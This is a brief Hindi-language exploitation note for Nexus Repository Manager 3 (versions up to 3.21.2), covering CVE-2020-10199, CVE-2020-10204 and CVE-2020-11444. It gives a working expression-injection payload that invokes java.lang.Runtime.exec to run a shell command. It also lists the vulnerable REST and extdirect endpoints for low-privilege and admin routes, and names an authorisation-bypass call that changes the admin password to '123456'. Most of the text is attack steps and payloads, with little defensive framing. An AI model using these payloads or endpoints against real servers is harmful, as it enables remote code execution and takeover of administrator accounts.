Nexus Repository Manager 3 भेद्यता (प्रभावित संस्करण: <= 3.21.2)

CVE-2020-10199, CVE-2020-10204, CVE-2020-11444

CVE-2020-10199 दूरस्थ कोड कमांड निष्पादन

इको poc

गैर-इको poc

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}

सामान्य उपयोगकर्ता अनुमति

/service/rest/beta/repositories/go/group

व्यवस्थापक अनुमति आवश्यक

1. CleanupPolicy बनाएँ

/service/extdirect

2. repositories बनाएँ

/service/rest/beta/repositories/apt/hosted

CVE-2020-10204 दूरस्थ कोड कमांड निष्पादन

1. उपयोगकर्ता अद्यतन इंटरफ़ेस का शोषण करें /service/extdirect
2. भूमिका निर्माण इंटरफ़ेस का शोषण करें /service/extdirect

CVE-2020-11444 प्राधिकरण बाइपास भेद्यता

भूमिका अद्यतन इंटरफ़ेस को कॉल करें

/service/rest/beta/security/users/admin/change-password

POST:
123456

संदर्भ लिंक

https://www.cnblogs.com/magic-zero/p/12641068.html

https://github.com/threedr3am/learnjavabug/tree/93d57c428333f98b5927d02630737e639dcb226b/nexus